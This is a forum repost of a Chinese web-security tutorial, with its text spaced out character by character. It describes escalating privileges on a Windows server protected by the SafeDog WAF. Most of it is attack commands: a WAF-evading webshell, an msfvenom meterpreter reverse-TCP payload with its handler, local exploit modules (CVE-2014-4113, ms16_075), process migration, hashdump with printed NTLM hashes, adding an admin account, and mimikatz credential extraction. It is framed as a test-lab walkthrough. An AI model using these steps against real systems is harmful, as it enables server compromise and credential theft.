搜索

[26601] 2019-11-01_WEB安全第八章实战篇01提权安全狗服务器

文档创建者：s7ckTeam
浏览次数：44
最后更新：2025-01-19
2019-11-01_WEB安全第八章实战篇01提权安全狗服务器 W E B 安 全 第 八 章 实 战 篇 0 1   提 权 安 全 狗 服 务 器 原 创   m O o n   m o o n s e c   2 0 1 9 - 1 1 - 0 1 这 篇 文 章 放 在 内 部 已 经 有 一 万 年 了 。 1 、 简 介 服 务 器   （ v p s ） 上 安 装 了 i i s 安 全 狗   服 务 器 安 全 狗 通 常 这 种 服 务 器 都 是 比 较 难 提 权   不 仅 是 漏 洞 补 丁 修 复 得 差 不 多 ， w a f   对 于 常 规 的 提 权 方 法 也 是 拦 截 得 较 多 。 a s p x 大 马   被 查 杀   拦 截   不 能 访 问 所 以 要 用 内 部 过 w a f 的   暗 月 过 狗 刀   基 本 过 一 切 w a f 中 国 菜 刀   一 句 话   客 户 端   菜 刀 发 送 的 包 里 面 包 含 e v a l 特 征 会 被 w a f 拦 截 ， 服 务 端 一 句 话 一 般 都 会 拦 截 。 除 了 做 了 一 些 变 异 。 现 在 的 测 试 环 境 环 境 是   M i c r o s o f t   W i n d o w s   W e b   S e r v e r   2 0 0 8   R 2 W E B 环 境   p h p   a s p   a s p x 数 据 库 m y s q l i i s 安 全 狗   服 务 器 安 全 狗 都 是 安 装 默 认 的 设 置 。 大 马 的 拦 截 2 、 提 权 过 程 使 用 过 狗 刀 过 i i s 安 全 狗 h t t p : / / w w w . m o o n d e m o . c o m / c 3 2 a s . a s p x   c 3 2 a s
执 行 简 单 的 命 令 使 用 C V E - 2 0 1 4 - 4 1 1 3 - E x p l o i t   提 权 失 败
提 权 失 败   没 有 提 权 s y s t e m 权 限   使 用 m e t a s p l o i t 提 权 生 成 攻 击 载 核 监 听 查 看 当 前 的 用 户   i i s 使 用 检 测 提 权 的 模 块 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 0 . 1 3 4     l p o r t = 1 2 3 4 5   - f   e x e   > / v a r / w w w / h t m l / s . e x e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t 1 9 2 . 1 6 8 . 0 . 1 3 4 s e t   l p o r t   1 2 3 4 5 e x p l o i t u s e   p o s t / m u l t i / r e c o n / l o c a l _ e x p l o i t _ s u g g e s t e r s e t   s e s s i o n   1 e x p l o i t
使 用 m s 1 6 _ 0 7 5 提 权 u s e   e x p l o i t / w i n d o w s / l o c a l / m s 1 6 _ 0 7 5 _ r e f l e c t i o n _ j u i c y s e t   s e s s i o n   1 查 看 当 前 权 限 g e t u i d 安 全 狗 的 一 些 进 程 C : P r o g r a m   F i l e s ( x 8 6 ) S a f e D o g S a f e D o g S i t e I I S S a f e D o g S i t e I I S . e x e C : P r o g r a m   F i l e s ( x 8 6 ) S a f e D o g S a f e D o g S e r v e r S a f e D o g T r a y . e x e m i g r a t e   1 5 9 6     迁 移 进 程   注 入 到 其 他 进 程 里 面 获 取 获 取 h a s h h a s h d u m p A d m i n i s t r a t o r : 5 0 0 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 2 e d 8 7 b d b 5 f d c 5 e 9 c b a 8 8 5 4 7 3 7 6 8 1 8 d 4 : : : G u e s t : 5 0 1 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 1 d 6 c f e 0 d 1 6 a e 9 3 1 b 7 3 c 5 9 d 7 e 0 c 0 8 9 c 0 : : : m o o n : 1 0 0 3 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 2 e d 8 7 b d b 5 f d c 5 e 9 c b a 8 8 5 4 7 3 7 6 8 1 8 d 4 : : :
m o o n 1 2 3 : 1 0 0 5 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 2 e d 8 7 b d b 5 f d c 5 e 9 c b a 8 8 5 4 7 3 7 6 8 1 8 d 4 : : : M y S Q L _ H W S : 1 0 0 1 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 5 1 1 9 e f 7 0 9 3 e 8 4 9 0 f 9 5 6 4 1 4 4 b c 3 1 6 0 a 2 9 : : : P h p M y A d m i n _ H W S : 1 0 0 2 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : d b 1 b 0 7 e f 2 d 6 b 6 1 f e d 7 f a 7 e 4 4 f 4 4 c a b a 1 : : : z e r o : 1 0 0 4 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 2 e d 8 7 b d b 5 f d c 5 e 9 c b a 8 8 5 4 7 3 7 6 8 1 8 d 4 : : : 假 如 不 能 获 取 h a s h   就 用 g e t s y s t e m   获 取 系 统 权 限 r u n   p o s t / w i n d o w s / g a t h e r / s m a r t _ h a s h d u m p a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 2 e d 8 7 b d b 5 f d c 5 e 9 c b a 8 8 5 4 7 3 7 6 8 1 8 d 4 3 2 e d 8 7 b d b 5 f d c 5 e 9 c b a 8 8 5 4 7 3 7 6 8 1 8 d 4 拿 到 c m d 5 上 是 解 密
r u n   g e t g u i   - u   z e r o - p   1 2 3 4 5 6 增 加 超 级 管 理 用 户 到 服 务 器 上   这 种 模 式 服 务 器 安 全 狗 会 拦 截 获 取 明 文 加 载 m i m i k a t z 模 块 l o a d   m i m i k a t z 获 取 铭 文 h a s h m s v 获 取 明 文 密 码 K e r b e r o s 假 如 上 面 获 取 不 到 明 文 另 外 一 种 方 法 获 取 h a s h m i m i k a t z _ c o m m a n d   - f   s a m d u m p : : h a s h e s
m i m i k a t z _ c o m m a n d - f   s e k u r l s a : : s e a r c h P a s s w o r d s 用 w d i g e s t 命 令 获 取 明 文 w d i g e s t t s p k g 登 录 远 程 终 端

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理